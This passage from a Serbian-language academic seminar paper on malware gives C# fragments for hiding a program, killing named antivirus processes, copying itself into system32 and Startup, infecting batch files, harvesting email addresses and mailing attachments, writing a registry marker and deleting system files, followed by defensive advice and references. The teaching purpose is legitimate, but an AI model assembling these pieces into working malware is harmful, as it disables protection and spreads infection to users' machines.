11. PRIMERI KODA

U ovom poglavlju biće prezentovani delovi koda koji se mogu upotrebiti za kreiranje zlonamernih programa.

Kod je napisan u C# programskom jeziku [67] i koristi .NET 3.5 tehnologiju [68]. Za implementaciju i testiranje biće korišćen programski alat Microsoft Visual Studio 2008 [69], a projekat će biti u formi konzolne aplikacije.

11.1 Inicijalna klasa

Primer koda inicijalne klase dat je u nastavku teksta. Generisanjem ovog koda stvara se izvršna (Program.exe) datoteka koju korisnik mora da pokrene da bi se aplikacija startovala.

using System;

using System.Collections.Generic;

using System.Linq;

using System.Text;

using System.IO;

using System.Diagnostics;

... class Program

{

[DllImport("user32.dll")]

static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);

[DllImport("user32.dll")]

public static extern IntPtr FindWindow(string lpClassName,

string lpWindowName);

[DllImport("user32.dll")]

internal static extern int MessageBeep(int uType);

[STAThread]

static void Main(string[] args)

{

//Skrivanje pokrenutog programa

ShowWindow(FindWindow("ConsoleWindowClass", null), 0);

while(true)

{

//Zvuk beep

MessageBeep(100);

//Stopiranje izvršenja programa na 10 skundi

System.Threading.Thread.Sleep(10000);

}

}

}

Page 58: Zlonamerni Programi - Goran Panić

Bezbednost u računarskim mreţama Seminarski rad | Zlonamerni programi

S t r a n a | 58

Klasa koja nosi ime Program, sadrţi samo glavnu (engl. Main) funkciju koja se izvršava pri pokretanju programa. Ova klasa koristi standardnu Windows biblioteku user32.dll.

Program bi po pokretanju izvršio prikrivanje svojih aktivnosti, tako što bi sebe uklonio sa Desktop-a, Taskbar-a i Task Manager-a. Prosečan korisnik (ţrtva) ne bi bio u stanju da primeti da je program aktiviran na računaru. Dodatne informacije o funkcijama ShowWindow [70] i FindWindow [71] mogu se pronaći na Microsoft MSDN sajtu.

Slika 11.1 Neposredno pre pokretanja skrivanja

Page 59: Zlonamerni Programi - Goran Panić

Bezbednost u računarskim mreţama Seminarski rad | Zlonamerni programi

S t r a n a | 59

Slika 11.2 Neposredno po izvršenom skrivanju

Po izvršenju skrivanja, program bi započeo da svakih 10 sekundi ispušta zvučni „beep” signal.

Ovakav program ne nanosi nikakvu štetu osim što troši resurse računara i iritira korisnika. TakoĎe ne postoji mogućnost automatskog širenja, a jednostavan restart računara bi zaustavio njegovo izvršenje. Da bi program učinili ozbiljnijim potrebno je dodati nove funkcionalnosti.

11.2 Onesposobljavanje zaštite

Kada zlonameran kod dospe u sistem, pre započinjanja bilo kakve akcije, poţeljno je da pokuša da onemogući aktivaciju alarma bezbednosnih sistema. Primer koda koji vrši onesposobljavanje bezbednosnih sistema, ubijanjem njihovih procesa, dat je u nastavku.

using System.Diagnostics;

...

private static void KillSecurity()

{

string[] processList ={ "NPROTECTED", "NAVW32", "F-AGNT95", "NOD32",

"NETD32", "NETMON", "IOMON98", "SCAN32", "NORMIST", "NAVW3",

"ADAWARE", "AGENTW", "LU32", "NAVAP32", "ANTIVIR", "TCM", "W9X",

"AVKSERV", "AV", "ACKWIN32", "AD-AWARE", "ADVXDWIN", "AGENTSVR",

"AGENTW", "ANTIVIRUS", "ANTS", "APIMONITOR", "APLICA32", "ARR",

"AUPDATE", "AUTODOWN", "AUTOTRACE", "AVE32", "AVGCC32", "AVGCTRL",

"AVGNT", "CFINET", "CLEANPC", "CTRL", "CV ", "DATEMANAGER ", "DOORS",

"DPFSETUP ", "FCH32 ", "FNRB32", "POP3TRAP", "ZONEALARM"};

Page 60: Zlonamerni Programi - Goran Panić

Bezbednost u računarskim mreţama Seminarski rad | Zlonamerni programi

S t r a n a | 60

Process[] myProcesses;

foreach (String _proc in processList)

{

myProcesses = Process.GetProcessesByName(_proc);

{

if (myProcesses.Length > 0)

{

foreach (Process _item in myProcesses)

{

_item.CloseMainWindow();

}

}

}

}

}

Metoda KillSecurity je zaduţena za gašenje procesa nekih programa koji se brinu o bezbednosti sistema. Za rad sa procesima metod koristi mogućnosti koje nudi klasa System.Diagnostics.Process [72]. Ukoliko je neki od navedenih procesa aktivan, biće ukinut. Uspešno izvršenje ovog metoda dovodi do pada nivoa bezbednosti samog sistema, a zlonamernom programu se dozvoljava dalje nesmetano izvršavanje na inficiranom sistemu.

11.3 Širenje infekcije po sistemu

Zlonameran program koji je po pokretanju uspeo da uspešno deaktivira sigurnosne procese moţe da započne sa širenjem unutar sistema. Širenje se najčešće vrši repliciranjem datoteke na drugu lokaciju unutar sistema (npr. crvi) ili kopiranjem odreĎenog koda unutar postojeće datoteke (npr. virusi). Funkcionalnost kopiranja fajlova sa jedne lokacije na drugu moţe se ostvariti upotrebom System.IO.File.Copy funkcije [73].

using System.IO;

...

File.Copy(Application.ExecutablePath,

System.Environment.SystemDirectory + @"\winlogon.exe ");

Posebnu zanimljivost predstavlja kopiranje datoteka u direktorijume čija se sadrţina automatski izvršava pri podizanju sistema, kao na primer ..\Start Menu\Programs\Startup. Na ovaj način zlonamerna aplikacija će biti automatski pokrenuta pri svakom podizanju sistema.

Drugi način za širenje infekcije na računaru predstavlja izmena postojećih datoteka, dodavanjem novih linija. Za tu priliku se moţe koristiti funkcija WriteLine standardne sistemske UI biblioteke, čiji primer korišćenja se moţe videti u kodu ispod.

Page 61: Zlonamerni Programi - Goran Panić

Bezbednost u računarskim mreţama Seminarski rad | Zlonamerni programi

S t r a n a | 61

using System.IO;

...

//Definisanje funkcionalnosti koja se dodaje

string lines = "\r\nSTART /MAX C:\\Virus.exe";

//Orvaranje fajla koji se želi izmeniti

StreamWriter file = new StreamWriter("c:\\dir1\\test.bat", true);

//Upisivanje stringa na kraju fajla

file.WriteLine(lines);

//Zatvaranje fajla

file.Close();

Aplikacija koja bi sadrţala ovaj kod bi izmenila test.bat datoteku tako da se nakon izvršenja svih legitimnih funkcionalnosti ove datoteke, pokrene još Virus.exe aplikacija. Više informacija o izmeni datoteka moguće je pronaći na adresi [74], a informacije o radu sa batch fajlovima na adresi [75].

11.4 Upotreba elektronske pošte kao sistema prenosa

Najbitnija stavka vezana za uspeh nekog zlonamernog programa jeste njegova sposobnost prenosa. Programi koji koriste dostupnije metode prenosa imaju veće šanse za uspeh. Upotreba elektronske pošte, kao najrasprostranjenijeg servisa na Internetu, pokazala se kao najuspešniji kanal za brzo širenje zlonamernih programa.

Potraga za e-mail adresama na računaru domaćinu se moţe vršiti na više načina. Kod u nastavku za tu svrhu koristi tekstualne datoteke (u ovom slučaju *.html stranice). Ovo predstavlja jako koristan vid pretrage, sa obzirom na to da su stranice koje sadrţe adrese korisnika često dostupne na Internetu. Ukoliko ih je korisnik posetio, one će ostati sačuvane u istorijatu Internet pretraţivača (npr. Temporary Internet Files).

using System.IO;

using System.Text.RegularExpressions;

...

private static void FindEmails(List<string> directoryList)

{

foreach (string cDirs in directoryList)

{

if (Directory.Exists(cDirs))

{

// Pronalženje svih fajlova sa ekstenzijom html

string[] htmlFiles = Directory.GetFiles(cDirs, "*html");

foreach (string htmlFile in htmlFiles)

{

// Kreiranje regularnog izraza (eMail)

Regex hRegex = new Regex(

Page 62: Zlonamerni Programi - Goran Panić

Bezbednost u računarskim mreţama Seminarski rad | Zlonamerni programi

S t r a n a | 62

"[a-zA-Z0-9-_.-]+@[a-zA-Z0-9-_.-]+\\.[a-zA-Z0-9]+");

// Otvaranje strima za čitanje fajla

FileStream inFile = new FileStream(htmlFile,

FileMode.Open, FileAccess.Read);

// Čitanje html fajla

byte[] source = new byte[inFile.Length];

inFile.Read(source, 0, (int)inFile.Length);

inFile.Close();

// Traženje poklapanja

foreach (Match strMatch in

hRegex.Matches(Encoding.ASCII.GetString(source)))

{

if (strMatch.Success)

{

string t = strMatch.Value;

// Slanje pošte, upis u fajl...

}

}

}

}

}

}

Funkcija FindEmails radi tako što za primljenu listu direktorijuma vrši pretragu za datotekama sa ekstenzijom html. Promenljiva hRegex definiše šablon po kojem će se izvršiti pretraga, u ovom slučaju se radi o e-mail regularnom izrazu. Ukoliko su pronaĎene datoteke sa ekstenzijom html, otvaraju se i njihov sadrţaj se poredi sa hRegex regularnim izrazom. Rezultat strMatch.Value predstavlja pronaĎenu e-mail adresu, koja se dalje moţe sačuvati u nekoj tekstualnoj datoteci ili koristiti za slanje. Više informacija o tome kako se koristi System.Text.RegularExpressions biblioteka moguće je pronaći na zvaničnom Mictrosoft MSDN sajtu, na adresi [76]. Funkcija FindEmails se moţe pozvati na sledeći način:

List<string> directoryList = new List<string>();

directoryList.Add("C:\Users\GoranPanic\AppData\Local\Microsoft\

Windows\Temporary Internet Files");

FindEmails(directoryList);

Ukoliko je zlonamerna aplikacija pronašla neku e-mail adresu, moţe se izvršiti dalje širenje infekcije (u slučaju virusa ili crva), slanjem inficirane aplikacije na pronaĎene adrese. Ako se radi o trojanskom zlonamernom kodu tada se najčešće vrši dostavljanje adresa osobi koja je postavila trojanca.

using System.Runtime.InteropServices;

using System.Net.Mail;

...

Page 63: Zlonamerni Programi - Goran Panić

Bezbednost u računarskim mreţama Seminarski rad | Zlonamerni programi

S t r a n a | 63

private static void SendMail(string MailAddressTo, string MailAddressFrom,

string Subject, string Body, Attachment[] att, string SmtpClient, int port)

{

MailMessage message = new MailMessage();

message.To.Add(MailAddressTo);

message.Subject = Subject;

message.From = new MailAddress(MailAddressFrom);

foreach(Attachment item in att)

{

message.Attachments.Add(item);

}

message.Body = Body;

SmtpClient smtp;

if (port > 0)

{

smtp = new SmtpClient(SmtpClient);

}

else

{

smtp = new SmtpClient(SmtpClient,port);

}

smtp.Send(message);

}

Funkcija SendMail predstavlja primer metode za slanje elektronske pošte. Više detalja o funkcionisanju klase System.Net.Mail.MailMessage moguće je pronaći na Mictrosoft MSDN sajtu, na adresi [77].

11.5 Potpisivanje – Registry baza

Da bi se izbeglo višestruko inficiranje istog računara, zlonamerni programi često ostavljaju svoj potpis u registry bazi. Kada se aplikacija ponovo startuje, program će izvršiti pretragu po svom ključu. Pronalaţenje takvog kluča značiće da je računar već inficiran, a dalje izvršenje će biti prilagoĎeno trenutnoj situaciji. U nastavku je dat kod funkcije koja vrši kreiranje novog ključa u bazi.

using Microsoft.Win32;

...

public static void SetRegistryKey()

{

Registry.CurrentUser.DeleteSubKey("GoranExample", false);

RegistryKey rk = Registry.CurrentUser.CreateSubKey("GoranExample");

rk.SetValue(keyName, "The path is %PATH%");

}

Više informacija o funkcijama za kreiranje klučeva SetValue [78] i njihovo čitanje GetValue [79] moguće je pronaći na Microsoft MSDN sajtu.

Page 64: Zlonamerni Programi - Goran Panić

Bezbednost u računarskim mreţama Seminarski rad | Zlonamerni programi

S t r a n a | 64

Slika 11.3 Dodati ključ u Registry bazi

11.6 Destruktivno ponašanje

Glavni razlog zbog čega se korisnici računara plaše zlonamernih programa je njihovo destruktivno ponašanje.

Ubijanje procesa se sprovodi kada se ţeli onemogućiti rad neke aplikacije na

računaru. Ovakav vid napada najčešće ne nanosi trajnu štetu, ali moţe da onemogući dalji rad na inficiranom računaru. Primer takvog koda opisan je u poglavlju 11.2, a opis rada sa procesima se moţe pronaći na adresi [72].

Ukidanje procesa se često koristi u kombinaciji sa meračem vremena, koji po okidanju ubija slučajno odabran aktivan proces. Posle odreĎenog broja iteracija dolazi do rušenja operativnog sistema.

Brisanje datoteka spada u najopasnije primere destruktivnog ponašanja. Funkcija System.IO.File.Delete [80] omogućava brisanje datoteka.

using System.IO;

...

File.Delete(@"C:\WINDOWS\system32\drivers\etc\hosts");

Zamena datoteke [73] se radi kada je potrebno izvršiti podmetanje

zlonamernog program.

using System.IO;

...

File.Copy(Application.ExecutablePath,

System.Environment.SystemDirectory + @"\winlogon.exe");

Page 65: Zlonamerni Programi - Goran Panić

Bezbednost u računarskim mreţama Seminarski rad | Zlonamerni programi

S t r a n a | 65

11.7 Preporuke

Kombinacijom navedenog koda mogu se kreirati zlonamerni programi koji bi pripadali grupi virusa, crva ili trojanaca.

Upotreba C# koda i .NET tehnologija u kreiranju zlonamernog koda je generalno loša ideja. Aplikacije su često prevelike u poreĎenju sa aplikacijama koje nastaju u manje kompleksnim programskim jezicima. Razvoj u .NET framework-u je drugi ograničavajući faktor, iz razloga što bi takav zlonameran program radio samo na računarima na kojima je takav framework instaliran.

U cilju smanjenja korišćenih resursa, tvorci zlonamernih programa često izbegavaju upotrebu rukovanja izuzecima [81]. Takav vid nebrige o inficiranom

računaru često je glavni krivac za pojavu slučajne štete pri izvršenju malicioznog koda.

Zaštita od programa koji bi bili kreirani upotrebom navedenog koda svodi se na prevenciju. Korisnik treba sam da vodi računa o tome koje programe pokreće na

računaru. Anti-virusni programi će zlonameran program sa sigurnošću detektovati kao opasnost samo u slučaju kada njegova definicija već postoji u bazi antivirusa. Na heurističke metode se ne bi smelo oslanjati.

Ako se već vrši pokretanje sumnjive aplikacije poţeljno je da se to učini bez upotrebe administratorskih privilegija. Pokretanje programa sa smanjenim

privilegijama će onemogućiti izmenu i brisanje podataka, kako datoteka na disku tako i vrednosti u registry bazi. Pristupanje nekim resursima internet pretraţivača, radi pronalaţenja meilova, će uglavnom biti onemogućeno. TakoĎe blokiranje aktivne zaštite ukidanjem procesa ili izmenom setovanja će biti dodatno oteţano.

Page 66: Zlonamerni Programi - Goran Panić

Bezbednost u računarskim mreţama Seminarski rad | Zlonamerni programi

S t r a n a | 66

12. ZAKLJUČAK

Uporedo sa razvojem računara dolazi do razvoja zlonamernih programa. Stvar koja je najviše podstakla razvoj i širenje ovih programa je računarska mreţa. Pre pojave umreţenih računara, jedini način prenosa zlonamernih programa je bio putem zaraţene diskete, te su takvi programi imali neuporedivo manje šansi za dalje širenje.

Dolaskom Interneta i servisa poput elektronske pošte, mogućnosti prenosa zlonamernih programa drastično rastu. Oni su ubrzo počeli da se šire mnogo većom brzinom i da koriste sofisticiranije načine prenosa. Kako je broj računara sa pristupom Internetu rastao, a Internet postajao sve više globalna mreţa, tako su i infekcije bile sve ozbiljnije i najčešće globalnog tipa.

RaĎaju se novi tipovi zlonamernih programa, kojima više nije glavni cilj nanošenje štete drugim korisnicima, već prikupljanje ili kraĎa informacija od istih. Upotreba Interneta u obavljanju finansijskih transakcija, dovodi do pojave novog vida kriminala, elektronskog kriminala. Zlonamerni programi poput trojanskih konja i rootkit-a predstavljaju glavno oruţje u rukama tehnološki visoko obučenih kriminalaca.

Činjenica je da zlonamerni programi postoje i na to se dalje ne moţe uticati. Jedino što je moguće u ovakvoj situaciji je pronalaţenje načina zaštite od takvih programa. Najefikasniji način zaštite je upotreba nekog antivirusnog paketa.

Pored operativnog sistema, antivirusni paket je druga obavezna komponenta savremenog računara. Korisnici koji drţe do svoje bezbednosti, moraju posvetiti vreme odabiru za njihove potrebe najboljeg antivirusnog paketa i njegovom pravilnom konfigurisanju.

Virusi, crvi i ostali nepoţeljni programi se pojavljuju svakodnevno. Svaki korisnik, bez obzira na njegovu stručnost, je u stanju da uz pomoć alata za generisanje zlonamernog koda napravi svoj primerak takvog programa. Jedini način da se sa sigurnošću zaključi koji je program maliciozan, je detekcija takvog koda na osnovu potpisa. Za tako nešto je neophodno da se definicija virusa nalazi u bazi antivirusnog paketa. Neredovno osveţavanje baze virusa najnovijim definicijama

virusa, ima za posledicu slabljenje odbrambenog sistema antivirusnog programa.

Trenutno najveća briga korisnika koji poseduju redovno aţuriran antivirusni program na svom računaru, predstavljaju sam operativni sistem i loše implementirane aplikacije. Rešenje ovog problema se svodi na instaliranje najnovijih bezbednosnih zakrpa za operativni sistem i ostale loše implementirane programe koje korisnik ima instalirane na svom računaru.

Dobro konfigurisan firewall će predstavljati dodatnu prepreku za sve vrste malicioznih programa. TakoĎe, njegova loša konfiguracija moţe doneti više štete nego koristi.

Iz ovoga moţemo videti da je poţeljna zaštita u slojevima. Veći broj slojeva oteţava posao zlonamernim programima, a time smanjuje mogućnost infekcije.

Page 67: Zlonamerni Programi - Goran Panić

Bezbednost u računarskim mreţama Seminarski rad | Zlonamerni programi

S t r a n a | 67

Na osnovu svega iznesenog nije teško zaključiti da apsolutne zaštite od zlonamernih programa nema, a da li će je biti ostaje da se vidi.

Page 68: Zlonamerni Programi - Goran Panić

Bezbednost u računarskim mreţama Seminarski rad | Zlonamerni programi

S t r a n a | 68

13. LITERATURA

Reference

Stallings, W. (2007), “Network Security Essentials - Applications and Standards 3th edition“, Upper Saddle River, New Jersey.

Pleskonjić, D., Maček, N., ĐorĎević, B. i Carić, M. (2007), “Sigurnost računarskih sistema i mreţa”, Mikro knjiga, Beograd.

Ţdrnja, B. (2003), “Šta su i kako rade virusi”, Prvi korak, Zagreb.

Bubanja, B. (2009), “Antivirusni paketi”, Svet Kompjutera, 1. jun, str. 60 – 63.

Web stranice

[1] Wikipedia, Computer virus, dostupno na: http://en.wikipedia.org/wiki/Computer_virus (pregledano 3. januara 2010.)

[2] Wikipedia, Computer worm, dostupno na: http://en.wikipedia.org/wiki/Computer_worm (pregledano 3. januara 2010.)

[3] Wikipedia, Trojan horse (computing), dostupno na: http://en.wikipedia.org/wiki/Trojan_horse_(computing) (pregledano 3. januara 2010.) [4] Wikipedia, Logic bomb, dostupno na: http://en.wikipedia.org/wiki/Logical_bomb (pregledano 3. januara 2010.)

[5] Wikipedia, Denial-of-service attack, dostupno na: http://en.wikipedia.org/wiki/Denial-of-service_attack (pregledano 3. januara 2010.)

[6] Wikipedia, Spyware, dostupno na: http://en.wikipedia.org/wiki/Spyware (pregledano (pregledano 04. januara 2010.)

[7] Wikipedia, Adware, dostupno na: http://en.wikipedia.org/wiki/Adware (pregledano 04. januara 2010.)

[8] Wikipedia, Rootkit, dostupno na: http://en.wikipedia.org/wiki/Rootkit (pregledano 13. januara 2010.)

[9] Wikipedia, Brain (computer virus), dostupno na: http://en.wikipedia.org/wiki/Brain_(computer_virus) (pregledano 7. januara 2010.)

[10] Wikipedia, Stoned (computer virus), dostupno na: http://en.wikipedia.org/wiki/Stoned_virus (pregledano 7. januara 2010.)

[11] Wikipedia, Cascade (computer virus), dostupno na: http://en.wikipedia.org/wiki/Cascade_virus (pregledano 12. januara 2010.)

[12] Wikipedia, Morris worm, dostupno na: http://en.wikipedia.org/wiki/Morris_Worm (pregledano 12. januara 2010.)

[13] CERT, dostupno na: http://www.cert.org (pregledano 12. januara 2010.)

Page 69: Zlonamerni Programi - Goran Panić

Bezbednost u računarskim mreţama Seminarski rad | Zlonamerni programi

S t r a n a | 69

[14] Wikipedia, AIDS (trojan horse), dostupno na: http://en.wikipedia.org/wiki/AIDS_(trojan_horse) (pregledano 12. januara 2010.)

[15] Wikipedia, AIDS (computer virus), dostupno na: http://en.wikipedia.org/wiki/AIDS_(computer_virus) (pregledano 12. januara 2010.)

[16] European Institute for Computer Anti-Virus Research (EICAR), dostupno na: http://www.eicar.org (pregledano 20. marta 2010.)

[17] Wikipedia, Virus Creation Laboratory, dostupno na: http://en.wikipedia.org/wiki/Virus_Creation_Laboratory (pregledano 14. januara 2010.)

[18] Wikipedia, Hoax, dostupno na: http://en.wikipedia.org/wiki/Hoax (pregledano 14. januara 2010.)

[19] Wikipedia, CIH (computer virus), dostupno na: http://en.wikipedia.org/wiki/CIH_Virus (pregledano 14. januara 2010.)

[20] Wikipedia, SQL slammer (computer worm), dostupno na: http://en.wikipedia.org/wiki/SQLSlammer (pregledano 14. januara 2010.)

[21] Wikipedia, Fred Cohen, dostupno na: http://en.wikipedia.org/wiki/Fred_Cohen (pregledano 14. januara 2010.)

[22] Wikipedia, Polymorphic code, dostupno na: http://en.wikipedia.org/wiki/Polymorphic_virus (pregledano 19. marta 2010.)

[23] Wikipedia, Bliss (virus), dostupno na: http://en.wikipedia.org/wiki/Bliss_(virus) (pregledano 20. marta 2010.)

[24] Wikipedia, Macro virus (computing) , dostupno na: http://en.wikipedia.org/wiki/Macro_virus_(computing) (pregledano 16. januara 2010.)

[25] Wikipedia, Melissa (computer worm), dostupno na: http://en.wikipedia.org/wiki/Melissa_(computer_worm) (pregledano 16. januara 2010.)

[26] Wikipedia, Dark Avenger, dostupno na: http://en.wikipedia.org/wiki/Dark_Avenger (pregledano 16. januara 2010.)

[27] Wikipedia, ILOVEYOU, dostupno na: http://en.wikipedia.org/wiki/ILOVEYOU (pregledano 20. marta 2010.)

[28] Wikipedia, Anna Kournikova (computer virus), dostupno na: http://en.wikipedia.org/wiki/Anna_Kournikova_(computer_virus) (pregledano 17. januara 2010.)

[29] Wikipedia, SQL slammer (computer worm), dostupno na: http://en.wikipedia.org/wiki/SQL_Slammer (pregledano 14. februar 2010.)

[30] SQL slammer, dostupno na: http://www.muscetta.org/research/worms/index.php (pregledano 14. januara 2010.)

[31] Wikipedia, Easter egg (media), dostupno na: http://en.wikipedia.org/wiki/Easter_egg_(virtual) (pregledano 20. marta 2010.)

Page 70: Zlonamerni Programi - Goran Panić

Bezbednost u računarskim mreţama Seminarski rad | Zlonamerni programi

S t r a n a | 70

[32] Wikipedia, Easter eggs in Microsoft products, dostupno na: http://en.wikipedia.org/wiki/Easter_eggs_in_Microsoft_products (pregledano 27. januara 2010.)

[33] MX Lab, Microsoft Security Bulletin with attached executable is malware with a nasty twitch, dostupno na: http://blog.mxlab.eu/2009/10/05/microsoft-security-bulletin-with-attached-executable-is-malware-with-a-nasty-twitch (pregledano 20. marta 2010.)

[34] Wikipedia, Backdoor (computing), dostupno na: http://en.wikipedia.org/wiki/Backdoor_(computing) (pregledano 21. januara 2010.)

[35] Wikipedia, Back Orifice, dostupno na: http://en.wikipedia.org/wiki/Back_Orifice (pregledano 21. januara 2010.)

[36] Wikipedia, Back Orifice 2000, dostupno na: http://en.wikipedia.org/wiki/Back_Orifice_2000 (pregledano 21. januara 2010.)

[37] Sourceforge, BO2K , dostupno na: http://sourceforge.net/project/screenshots.php?group_id=4487 (pregledano 20. marta 2010.)

[38] Wikipedia, NetBus, dostupno na: http://en.wikipedia.org/wiki/NetBus (pregledano 25. januara 2010.)

[39] Cine movie pirate, Online hackers, dostupno na: http://cinemoviepirate.blogspot.com/2009_11_01_archive.html (pregledano 21. marta 2010.)

[40] Wikipedia, JavaScript, dostupno na: http://en.wikipedia.org/wiki/JavaScript (pregledano 25. januara 2010.)

[41] Wikipedia, ActiveX, dostupno na: http://en.wikipedia.org/wiki/ActiveX (pregledano 25. januara 2010.)

[42] MSDN, VBScript, dostupno na: http://msdn.microsoft.com/en-us/library/t0aew7h6(VS.85).aspx (pregledano 25. januara 2010.)

[43] Wikipedia, VBScript, dostupno na: http://en.wikipedia.org/wiki/VBScript (pregledano 25. januara 2010.)

[44] Wikipedia, Kak worm, dostupno na: http://en.wikipedia.org/wiki/Kak_worm (pregledano 25. januara 2010.)

[45] Lavasoft, Ad-Aware, dostupno na: http://www.lavasoft.com (pregledano 17. marta 2010.)

[46] Wikipedia, Rootkit, dostupno na: http://en.wikipedia.org/wiki/Rootkit (pregledano 20. marta 2010.)

[47] Rootkit, dostupno na: http://www.rootkit.com (pregledano 15. januara 2010.)

[48] Wikipedia, DLL injection, dostupno na: http://en.wikipedia.org/wiki/DLL_injection (pregledano 15. januara 2010.)

[49] Wikipedia, Hooking, dostupno na: http://en.wikipedia.org/wiki/Hooking (pregledano 15. januara 2010.)

Page 71: Zlonamerni Programi - Goran Panić

Bezbednost u računarskim mreţama Seminarski rad | Zlonamerni programi

S t r a n a | 71

[50] AFX Windows Rootkit 2003, dostupno na: http://www.megasecurity.org/trojans/a/aphex/Afx_win_rootkit2003.html (pregledano 16. januara 2010.)

[51] F-Secure, BlackLight, dostupno na:

http://www.f-secure.com/en_EMEA/products/technologies/blacklight (pregledano 21. marta 2010.)

[52] Windows Sysinternals, RootkitRevealer, dostupno na: http://technet.microsoft.com/en-us/sysinternals/bb897445.aspx (pregledano 24. januara 2010.)

[53] Chkrootkit, dostupno na: http://www.chkrootkit.org (pregledano 26. januara 2010.)

[54] Wikipedia, Antivirus software, dostupno na: http://en.wikipedia.org/wiki/Antivirus (pregledano 26. januara 2010.)

[55] Conwex Net, Sigurnost računarskih mreţa, dostupno na: http://www.conwex.info/draganp/SRM_Predavanje_7.pdf (pregledano 18. januara 2010.)

[56] Wikipedia, Heuristic algorithm, dostupno na: http://en.wikipedia.org/wiki/Heuristic_algorithm (pregledano 18. januara 2010.)

[57] Svet Kompjutera, Antivirusni paketi, dostupno na: http://www.sk.rs/2009/06/sktr04.html (pregledano 5. aprila 2010.)

[58] Wikipedia, Firewall (computing), dostupno na: http://en.wikipedia.org/wiki/Firewall_(computing) (pregledano 18. januara 2010.)

[59] Wikipedia, Anti-spam techniques, dostupno na: http://en.wikipedia.org/wiki/Antispam (pregledano 23. januara 2010.)

[60] Wikipedia, Internet security, dostupno na: http://en.wikipedia.org/wiki/Internet_security (pregledano 23. januara 2010.)

[61] Kaspersky, Internet Security 2010, dostupno na: http://www.kaspersky.com/kaspersky_internet_security (pregledano 19. mart 2010.)

[62] AVG, AVG Internet Security, dostupno na: http://www.avg.com/ww-en/avg-internet-security-network-edition (pregledano 26. januara 2010.)

[63] BitDefender, BitDefender Internet Security, dostupno na: http://www.bitdefender.rs/site/IS-2010.php (pregledano 18. marta 2010.)

[64] ESET, ESET Smart Security 4, dostupno na: http://www.eset.com/home/smart-security (pregledano 25. januara 2010.)

[65] Norton from Symantec, Norton™ Internet Security 2010, dostupno na: http://www.symantec.com/en/uk/norton/internet-security (pregledano 18. marta 2010.)

[66] F-Secure, F-Secure Internet Security 2010, dostupno na: http://www.f-secure.com/en_EMEA/products/home-office/internet-security (pregledano 18. marta 2010.)

Page 72: Zlonamerni Programi - Goran Panić

Bezbednost u računarskim mreţama Seminarski rad | Zlonamerni programi

S t r a n a | 72

[67] MSDN, Visual C# Developer Center, dostupno na: http://msdn.microsoft.com/en-us/vcsharp/aa336809.aspx (pregledano 21. marta 2010.)

[68] Microsoft, Microsoft .NET Framework 3.5, dostupno na: http://www.microsoft.com/downloads/details.aspx?FamilyId=333325FD-AE52-4E35-B531-508D977D32A6&displaylang=en (pregledano 21. marta 2010.)

[69] Microsoft, Visual Studio, dostupno na: http://msdn.microsoft.com/en-us/vstudio/default.aspx (pregledano 18. marta 2010.)

[70] MSDN, ShowWindow Function, dostupno na: http://msdn.microsoft.com/en-us/library/ms633548(VS.85).aspx (pregledano 9. marta 2010.)

[71] MSDN, FindWindow Function , dostupno na: http://msdn.microsoft.com/en-us/library/ms633499(VS.85).aspx (pregledano 9. marta 2010.)

[72] MSDN, Process Class, dostupno na: http://msdn.microsoft.com/en-us/library/system.diagnostics.process.aspx (pregledano 11. marta 2010.)

[73] MSDN, File.Copy Method, dostupno na: http://msdn.microsoft.com/en-us/library/system.io.file.copy.aspx (pregledano 11. marta 2010.)

[74] MSDN, Code: Writing to a Text File (Visual C#), dostupno na: http://msdn.microsoft.com/en-us/library/aa287548(VS.71).aspx (pregledano 12. marta 2010.)

[75] Computer Hope, Information on batch files, dostupno na: http://www.computerhope.com/batch.htm (pregledano 11. marta 2010.)

[76] MSDN, Regex Class, dostupno na: http://msdn.microsoft.com/en-us/library/system.text.regularexpressions.regex.aspx (pregledano 12. marta 2010.)

[77] MSDN, MailMessage Class, dostupno na: http://msdn.microsoft.com/en-us/library/system.net.mail.mailmessage.aspx (pregledano 14. marta 2010.)

[78] MSDN, Registry.GetValue Method, dostupno na: http://msdn.microsoft.com/en-us/library/microsoft.win32.registry.getvalue.aspx (pregledano 15. marta 2010.)

[79] MSDN, RegistryKey.SetValue Method, dostupno na: http://msdn.microsoft.com/en-us/library/2kk9bxk9.aspx (pregledano 15. marta 2010.)

[80] MSDN, File.Delete Method, dostupno na: http://msdn.microsoft.com/en-us/library/system.io.file.delete.aspx (pregledano 11. marta 2010.)

[81] MSDN, Exception Handling Statements (C# Reference), dostupno na: http://msdn.microsoft.com/en-us/library/s7fekhdy.aspx (pregledano 18. marta 2010.)